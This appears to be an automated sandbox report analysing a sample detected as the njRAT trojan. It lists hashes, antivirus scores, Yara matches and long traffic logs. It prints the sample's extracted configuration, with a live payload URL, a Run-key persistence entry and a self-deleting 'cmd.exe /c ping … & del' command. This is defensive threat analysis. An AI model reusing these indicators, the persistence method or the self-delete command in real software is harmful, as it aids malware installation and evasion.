Edit tour

Windows Analysis Report
bRMW.exe

Overview

General Information

Sample Name:	bRMW.exe
Analysis ID:	1346678
MD5:	fa139ae9c858237134267631faea725b
SHA1:	47761a9ab45df5ee6cb016252b598906c60b92d9
SHA256:	2f8ea8aa8c05d94beedf55231e5a354534d3c8ff9c57e6a78ee58c6d9ed533d9
Tags:	exenjRat
Infos:

Detection

Njrat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Njrat

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

.NET source code references suspicious native API functions

Contains functionality to log keystrokes (.Net Source)

Machine Learning detection for sample

.NET source code contains potential unpacker

Yara detected Generic Downloader

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Internet Provider seen in connection with other malware

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Classification

Process Tree

System is w10x64

bRMW.exe (PID: 2748 cmdline: C:\Users\user\Desktop\bRMW.exe MD5: FA139AE9C858237134267631FAEA725B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
NjRAT	RedPacket Security describes NJRat as "a remote access trojan (RAT) has capabilities to log keystrokes, access the victim's camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim's desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives."It is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.	AQUATIC PANDA Earth Lusca Operation C-Major The Gorgon Group	http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/ http://blogs.360.cn/post/analysis-of-apt-c-37.html http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf https://about.fb.com/news/2021/04/taking-action-against-hackers-in-palestine/ https://asec.ahnlab.com/1369	https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat

Malware Configuration

Threatname: Njrat

{
  "Host": "https://pt.textbin.net/download/rcd5ihynxw",
  "Port": "5552",
  "Version": "0.7d By Pjoao1578",
  "Registry Name": "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
  "Campaign ID": "HacKed",
  "Network Seprator": "|'|'|"
}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
bRMW.exe	JoeSecurity_Njrat	Yara detected Njrat	Joe Security
bRMW.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
bRMW.exe	Windows_Trojan_Njrat_30f3c220	unknown	unknown	0x49e4:$a1: get_Registry 0x55d0:$a3: Download ERROR 0x5520:$a4: cmd.exe /c ping 0 -n 2 & del "
bRMW.exe	CN_disclosed_20180208_c	Detects malware from disclosed CN malware set	Florian Roth	0x5520:$x1: cmd.exe /c ping 0 -n 2 & del " 0x55ee:$s3: Executed As 0x55d0:$s6: Download ERROR
bRMW.exe	MALWARE_Win_NjRAT	Detects NjRAT / Bladabindi	ditekSHen	0x5520:$s3: 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 20 00 2F 00 63 00 20 00 70 00 69 00 6E 00 67 0x55ac:$s4: Execute ERROR 0x5608:$s4: Execute ERROR 0x55d0:$s5: Download ERROR 0x520c:$s6: [kl]

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1994678627.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Njrat	Yara detected Njrat	Joe Security
00000000.00000000.1994678627.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_Njrat_30f3c220	unknown	unknown	0x47e4:$a1: get_Registry 0x53d0:$a3: Download ERROR 0x5320:$a4: cmd.exe /c ping 0 -n 2 & del "
Process Memory Space: bRMW.exe PID: 2748	JoeSecurity_Njrat	Yara detected Njrat	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.bRMW.exe.ff0000.0.unpack	JoeSecurity_Njrat	Yara detected Njrat	Joe Security
0.0.bRMW.exe.ff0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.bRMW.exe.ff0000.0.unpack	Windows_Trojan_Njrat_30f3c220	unknown	unknown	0x49e4:$a1: get_Registry 0x55d0:$a3: Download ERROR 0x5520:$a4: cmd.exe /c ping 0 -n 2 & del "
0.0.bRMW.exe.ff0000.0.unpack	CN_disclosed_20180208_c	Detects malware from disclosed CN malware set	Florian Roth	0x5520:$x1: cmd.exe /c ping 0 -n 2 & del " 0x55ee:$s3: Executed As 0x55d0:$s6: Download ERROR
0.0.bRMW.exe.ff0000.0.unpack	MALWARE_Win_NjRAT	Detects NjRAT / Bladabindi	ditekSHen	0x5520:$s3: 63 00 6D 00 64 00 2E 00 65 00 78 00 65 00 20 00 2F 00 63 00 20 00 70 00 69 00 6E 00 67 0x55ac:$s4: Execute ERROR 0x5608:$s4: Execute ERROR 0x55d0:$s5: Download ERROR 0x520c:$s6: [kl]

Joe Sandbox Signatures

• AV Detection
• Compliance
• Networking
• Key, Mouse, Clipboard, Microphone and Screen Capturing
• E-Banking Fraud
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.0.bRMW.exe.ff0000.0.unpack

Malware Configuration Extractor: Njrat {"Host": "https://pt.textbin.net/download/rcd5ihynxw", "Port": "5552", "Version": "0.7d By Pjoao1578", "Registry Name": "Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Campaign ID": "HacKed", "Network Seprator": "|'|'|"}

Multi AV Scanner detection for submitted file

Source: bRMW.exe	ReversingLabs: Detection: 89%
Source: bRMW.exe	Virustotal: Detection: 73%			Perma Link

Yara detected Njrat

Source: Yara match	File source: bRMW.exe, type: SAMPLE
Source: Yara match	File source: 0.0.bRMW.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1994678627.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bRMW.exe PID: 2748, type: MEMORYSTR

Antivirus / Scanner detection for submitted sample

Source: bRMW.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://pt.textbin.net	Avira URL Cloud: Label: phishing
Source: https://pt.textbin.net	Avira URL Cloud: Label: phishing
Source: https://pt.textbin.net/download/rcd5ihynxw	Avira URL Cloud: Label: malware
Source: http://textbin.net	Avira URL Cloud: Label: phishing

Multi AV Scanner detection for domain / URL

Source: 0.tcp.sa.ngrok.io	Virustotal: Detection: 14%	Perma Link
Source: textbin.net	Virustotal: Detection: 12%	Perma Link
Source: pt.textbin.net	Virustotal: Detection: 10%	Perma Link
Source: http://textbin.net	Virustotal: Detection: 12%	Perma Link
Source: https://pt.textbin.net	Virustotal: Detection: 8%	Perma Link
Source: https://pt.textbin.net/download/rcd5ihynxw	Virustotal: Detection: 10%	Perma Link
Source: http://pt.textbin.net	Virustotal: Detection: 10%	Perma Link

Machine Learning detection for sample

Source: bRMW.exe

Joe Sandbox ML: detected

Source: bRMW.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.72.177.212:443 -> 192.168.2.5:49865 version: TLS 1.2

Source: bRMW.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mscorlib.pdb source: bRMW.exe, 00000000.00000002.4455595232.0000000006E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: bRMW.exe, 00000000.00000002.4455249840.0000000005A5B000.00000004.00000010.00020000.00000000.sdmp

Networking

Yara detected Generic Downloader

Source: Yara match	File source: bRMW.exe, type: SAMPLE
Source: Yara match	File source: 0.0.bRMW.exe.ff0000.0.unpack, type: UNPACKEDPE

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://pt.textbin.net/download/rcd5ihynxw

Source: Joe Sandbox View

ASN Name: AS-30083-GO-DADDY-COM-LLCUS AS-30083-GO-DADDY-COM-LLCUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Joe Sandbox View	IP Address: 18.229.248.167 18.229.248.167
Source: Joe Sandbox View	IP Address: 148.72.177.212 148.72.177.212

Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.net
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/rcd5ihynxw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: pt.textbin.netConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 18.229.248.167:11137

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
